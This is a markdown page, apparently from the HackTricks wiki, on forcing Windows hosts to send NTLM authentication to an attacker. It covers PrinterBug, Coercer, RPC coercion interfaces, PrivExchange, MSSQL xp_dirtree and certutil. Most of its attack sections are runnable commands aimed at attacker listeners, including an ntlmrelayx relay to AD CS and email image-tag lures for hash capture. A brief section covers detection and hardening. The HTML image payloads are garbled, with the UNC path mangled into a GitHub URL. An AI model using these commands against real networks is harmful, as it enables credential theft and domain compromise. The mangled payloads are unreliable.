printers-spooler-service-abuse.md (17841B)
1 --- 2 title: "Force NTLM Privileged Authentication" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Force NTLM Privileged Authentication 14 15 ## SharpSystemTriggers 16 17 [**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies. 18 19 ## Spooler Service Abuse 20 21 If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\ 22 Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication. 23 24 Under the hood, the classic **PrinterBug** primitive abuses **`RpcRemoteFindFirstPrinterChangeNotificationEx`** over **`\\PIPE\\spoolss`**. The attacker first opens a printer/server handle and then supplies a fake client name in `pszLocalMachine`, so the target spooler creates a notification channel **back to the attacker-controlled host**. This is why the effect is **outbound authentication coercion** rather than direct code execution.<sup>[[2]](#references)</sup>\ 25 If you are looking for **RCE/LPE** in the spooler itself, check [PrintNightmare](/hacktricks/windows-hardening/active-directory-methodology/printnightmare). This page is focused on **coercion and relay**. 26 27 ### Finding Windows Servers on the domain 28 29 Use PowerShell to list Windows hosts. Servers are usually the highest-priority targets, so focus on them first: 30 31 ```bash 32 Get-ADComputer -Filter {(OperatingSystem -like "*Windows Server*") -and (Enabled -eq $true)} -Properties DNSHostName | 33 Select-Object -ExpandProperty DNSHostName > servers.txt 34 ``` 35 36 ### Finding Spooler services listening 37 38 Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening: 39 40 ```bash 41 . .\Get-SpoolStatus.ps1 42 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} 43 ``` 44 45 You can also use `rpcdump.py` on Linux and look for the **MS-RPRN** protocol: 46 47 ```bash 48 rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN 49 ``` 50 51 Or quickly test hosts from Linux with **NetExec/CrackMapExec**: 52 53 ```bash 54 nxc smb targets.txt -u user -p password -M spooler 55 ``` 56 57 If you want to **enumerate coercion surfaces** instead of just checking whether the spooler endpoint exists, use **Coercer scan mode**:<sup>[[5]](#references)</sup> 58 59 ```bash 60 coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN 61 coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss 62 ``` 63 64 This is useful because seeing the endpoint in EPM only tells you that the print RPC interface is registered. It does **not** guarantee that every coercion method is reachable with your current privileges or that the host will emit a usable authentication flow. 65 66 ### Ask the service to authenticate against an arbitrary host 67 68 You can compile [SpoolSample from the original repository](https://github.com/leechristensen/SpoolSample). 69 70 ```bash 71 SpoolSample.exe <TARGET> <RESPONDERIP> 72 ``` 73 74 or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux 75 76 ```bash 77 python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET> 78 printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP> 79 ``` 80 81 With **Coercer**, you can target the spooler interfaces directly and avoid guessing which RPC method is exposed:<sup>[[5]](#references)</sup> 82 83 ```bash 84 coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN 85 coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx 86 ``` 87 88 ### Modern RPC-over-TCP callbacks 89 90 Do not assume that a successful `RpcRemoteFindFirstPrinterChangeNotificationEx` call must produce traffic on TCP/445. **Windows 11 22H2 and later use RPC over TCP for print communications by default**; RPC over named pipes is disabled unless policy or `RpcUseNamedPipeProtocol=1` restores it. Therefore, legacy SMB-only listeners can report that the trigger was sent while never receiving the callback. Microsoft documents TCP/135 (Endpoint Mapper) plus dynamic RPC ports for normal print RPC, and organizations can restrict this range or select a fixed print RPC port.<sup>[[10]](#references)</sup> 91 92 Current **Impacket `ntlmrelayx.py`** includes an RPC relay server and a small Endpoint Mapper, enabled by default on TCP/135. This support was merged in June 2025 specifically with a demonstrated PrinterBug-to-AD-CS chain, allowing the authenticated RPC callback to be relayed even when the victim does not fall back to SMB/WebDAV.<sup>[[11]](#references)</sup> 93 94 RPC relay/EPM support ships in **Impacket 0.13.0 and later**. Before debugging a missing TCP/135 listener, verify that an older packaged `ntlmrelayx.py` is not being executed; the help output should expose both RPC-server switches.<sup>[[12]](#references)</sup> 95 96 ```bash 97 python3 -m pip show impacket | grep '^Version:' 98 ntlmrelayx.py -h | grep -E -- '--rpc-port|--no-rpc-server' 99 ``` 100 101 ```bash 102 # Recent Impacket: the RPC/EPM listener starts automatically on TCP/135 103 # Use --template DomainController instead when coercing a DC 104 sudo ntlmrelayx.py -t 'http://ca.corp.local/certsrv/certfnsh.asp' \ 105 --adcs --template Machine -smb2support 106 107 # Trigger after the listener is ready; use a name/address reachable by the victim 108 printerbug.py 'corp.local/user:password'@TARGET ATTACKER_FQDN 109 ``` 110 111 Look for `Setting up RPC Server on port 135` and `RPCD: Received connection` in the relay output. If the RPC call returns an expected error but nothing reaches the listener, check the victim's print RPC transport policy, outbound filtering, DNS resolution and whether another process already owns TCP/135. Also ensure that `ntlmrelayx` was not started with `--no-rpc-server`. 112 113 ### Forcing HTTP instead of SMB with WebClient 114 115 On systems still using **RPC over named pipes** (legacy builds or policy-restored behavior), classic PrinterBug usually yields an **SMB** authentication to `\\attacker\share`, which is still useful for **capture**, **relay to HTTP targets** or **relay where SMB signing is absent**.\ 116 However, relaying **SMB to SMB** is frequently blocked by **SMB signing**, so operators may prefer to force **HTTP/WebDAV** authentication instead. This is not a fallback for the RPC-over-TCP behavior described above. 117 118 If the target has the **WebClient** service running, the listener can be specified in a form that makes Windows use **WebDAV over HTTP**: 119 120 ```bash 121 printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share' 122 coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN 123 ``` 124 125 This is especially useful when chaining with **`ntlmrelayx --adcs`** or other HTTP relay targets because it avoids relying on SMB relayability on the coerced connection. The important caveat is that **WebClient must be running** on the victim for the HTTP/WebDAV variant to work. 126 127 ### Combining with Unconstrained Delegation 128 129 If an attacker has compromised a computer configured for [Unconstrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/unconstrained-delegation), they can **coerce the printer to authenticate to that computer**. The printer computer account's **TGT** is then cached in memory on the unconstrained-delegation host, where the attacker can retrieve and reuse it with [Pass the Ticket](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket). 130 131 ### Detection and hardening notes 132 133 The most reliable way to remove PrinterBug from a DC, PAW or server that does not print is to stop and disable the Spooler. Where printing is required, harden every possible relay destination (SMB server signing, LDAP signing/channel binding and EPA on HTTP services such as AD CS) rather than assuming that blocking TCP/445 on the callback path is sufficient.<sup>[[1]](#references)</sup> 134 135 ```powershell 136 Stop-Service Spooler -Force 137 Set-Service Spooler -StartupType Disabled 138 ``` 139 140 If the host still needs **local printing**, a narrower control is the GPO `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`. This prevents the spooler from accepting remote client connections (and printer sharing) while leaving the service available locally; restart the spooler after applying it, then repeat the MS-RPRN reachability checks above.<sup>[[13]](#references)</sup> 141 142 Detection should correlate an authenticated call to MS-RPRN UUID `12345678-1234-abcd-ef00-0123456789ab`, especially opnum 62/65 with a non-local callback value, and an immediate outbound SMB, HTTP or RPC connection from the spooler host. Baseline **interface UUID/opnum and source/destination pairs**, not only access to `\PIPE\spoolss`, because current print stacks can place the callback on RPC-over-TCP.<sup>[[1]](#references)[[10]](#references)[[11]](#references)</sup> 143 144 ## RPC Force authentication 145 146 [Coercer](https://github.com/p0dalirius/Coercer)<sup>[[5]](#references)</sup> 147 148 ### RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth) 149 - MS-RPRN (Print System Remote Protocol) 150 - Pipe: \\PIPE\\spoolss 151 - IF UUID: 12345678-1234-abcd-ef00-0123456789ab 152 - Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx 153 - Tools: PrinterBug / SpoolSample / Coercer<sup>[[1]](#references)[[6]](#references)</sup> 154 - MS-PAR (Print System Asynchronous Remote) 155 - Pipe: \\PIPE\\spoolss 156 - IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209 157 - Notes: asynchronous print interface on the same spooler pipe; use Coercer to enumerate reachable methods on a given host<sup>[[1]](#references)[[6]](#references)</sup> 158 - MS-EFSR (Encrypting File System Remote Protocol) 159 - Pipes: \\PIPE\\efsrpc (also via \\PIPE\\lsarpc, \\PIPE\\samr, \\PIPE\\lsass, \\PIPE\\netlogon) 160 - IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d 161 - Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16 162 - Tool: PetitPotam<sup>[[1]](#references)[[6]](#references)[[7]](#references)</sup> 163 - MS-DFSNM (DFS Namespace Management) 164 - Pipe: \\PIPE\\netdfs 165 - IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673 166 - Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot 167 - Tool: DFSCoerce<sup>[[1]](#references)[[6]](#references)[[8]](#references)</sup> 168 - MS-FSRVP (File Server Remote VSS) 169 - Pipe: \\PIPE\\FssagentRpc 170 - IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292 171 - Opnums: 8 IsPathSupported; 9 IsPathShadowCopied 172 - Tool: ShadowCoerce<sup>[[1]](#references)[[6]](#references)[[9]](#references)</sup> 173 - MS-EVEN (EventLog Remoting) 174 - Pipe: \\PIPE\\even 175 - IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea 176 - Opnum: 9 ElfrOpenBELW 177 - Tool: CheeseOunce<sup>[[1]](#references)</sup> 178 179 Note: These methods accept parameters that can carry a UNC path (e.g., `\\attacker\share`). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.\ 180 For spooler abuse, **MS-RPRN opnum 65** remains the most common and best-documented primitive because the protocol specification explicitly states that the server creates a notification channel back to the client specified by `pszLocalMachine`.<sup>[[2]](#references)</sup> 181 182 ### MS-EVEN: ElfrOpenBELW (opnum 9) coercion 183 - Interface: MS-EVEN over \\PIPE\\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)<sup>[[3]](#references)</sup> 184 - Call signature: ElfrOpenBELW(UNCServerName, BackupFileName="\\\\attacker\\share\\backup.evt", MajorVersion=1, MinorVersion=1, LogHandle)<sup>[[4]](#references)</sup> 185 - Effect: the target attempts to open the supplied backup log path and authenticates to the attacker-controlled UNC.<sup>[[1]](#references)</sup> 186 - Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.<sup>[[1]](#references)</sup> 187 188 ## PrivExchange 189 190 The `PrivExchange` attack is a result of a flaw found in the **Exchange Server `PushSubscription` feature**. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP. 191 192 By default, the **Exchange service runs as SYSTEM** and is given excessive privileges (specifically, it has **WriteDacl privileges on the domain pre-2019 Cumulative Update**). This flaw can be exploited to enable the **relaying of information to LDAP and subsequently extract the domain NTDS database**. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account. 193 194 ## Inside Windows 195 196 If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with: 197 198 ### Defender MpCmdRun 199 200 ```bash 201 C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt 202 ``` 203 204 ### MSSQL 205 206 ```sql 207 EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 208 ``` 209 210 [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) 211 212 ```bash 213 # Issuing NTLM relay attack on the SRV01 server 214 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 215 216 # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 217 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 218 219 # Issuing NTLM relay attack on the local server with custom command 220 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 221 ``` 222 223 Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) 224 225 ### Certutil 226 227 It's possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication: 228 229 ```bash 230 certutil.exe -syncwithWU \\127.0.0.1\share 231 ``` 232 233 ## HTML injection 234 235 ### Via email 236 237 If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as 238 239 ```html 240 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/%5C%5C10.10.17.231%5Ctest.ico" height="1" width="1" /> 241 ``` 242 243 When the victim opens it, Windows attempts to authenticate. 244 245 ### MitM 246 247 If you can perform a MitM attack and inject HTML into a page viewed by the victim, try injecting an image such as: 248 249 ```html 250 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/%5C%5C10.10.17.231%5Ctest.ico" height="1" width="1" /> 251 ``` 252 253 ## Other ways to force and phish NTLM authentication 254 255 256 [Places To Steal Ntlm Creds](/hacktricks/windows-hardening/ntlm/places-to-steal-ntlm-creds) 257 258 ## Cracking NTLMv1 259 260 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\ 261 _Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_ 262 263 264 ## References 265 266 - [1] [Unit 42 – Authentication Coercion Keeps Evolving](https://unit42.paloaltonetworks.com/authentication-coercion/) 267 - [2] [Microsoft – MS-RPRN: RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d) 268 - [3] [Microsoft – MS-EVEN: EventLog Remoting Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/55b13664-f739-4e4e-bd8d-04eeda59d09f) 269 - [4] [Microsoft – MS-EVEN: ElfrOpenBELW (Opnum 9)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/4db1601c-7bc2-4d5c-8375-c58a6f8fc7e1) 270 - [5] [p0dalirius – Coercer](https://github.com/p0dalirius/Coercer) 271 - [6] [p0dalirius – windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods) 272 - [7] [PetitPotam (MS-EFSR)](https://github.com/topotam/PetitPotam) 273 - [8] [DFSCoerce (MS-DFSNM)](https://github.com/Wh04m1001/DFSCoerce) 274 - [9] [ShadowCoerce (MS-FSRVP)](https://github.com/ShutdownRepo/ShadowCoerce) 275 - [10] [Microsoft – RPC connection updates for print in Windows 11](https://learn.microsoft.com/en-us/troubleshoot/windows-client/printing/windows-11-rpc-connection-updates-for-print) 276 - [11] [Fortra Impacket – RPC relay server and Endpoint Mapper for ntlmrelayx](https://github.com/fortra/impacket/pull/1974) 277 - [12] [Fortra Impacket 0.13.0 release](https://github.com/fortra/impacket/releases/tag/impacket_0_13_0) 278 - [13] [Microsoft – Policy CSP: Allow Print Spooler to accept client connections](https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-admx-printing2)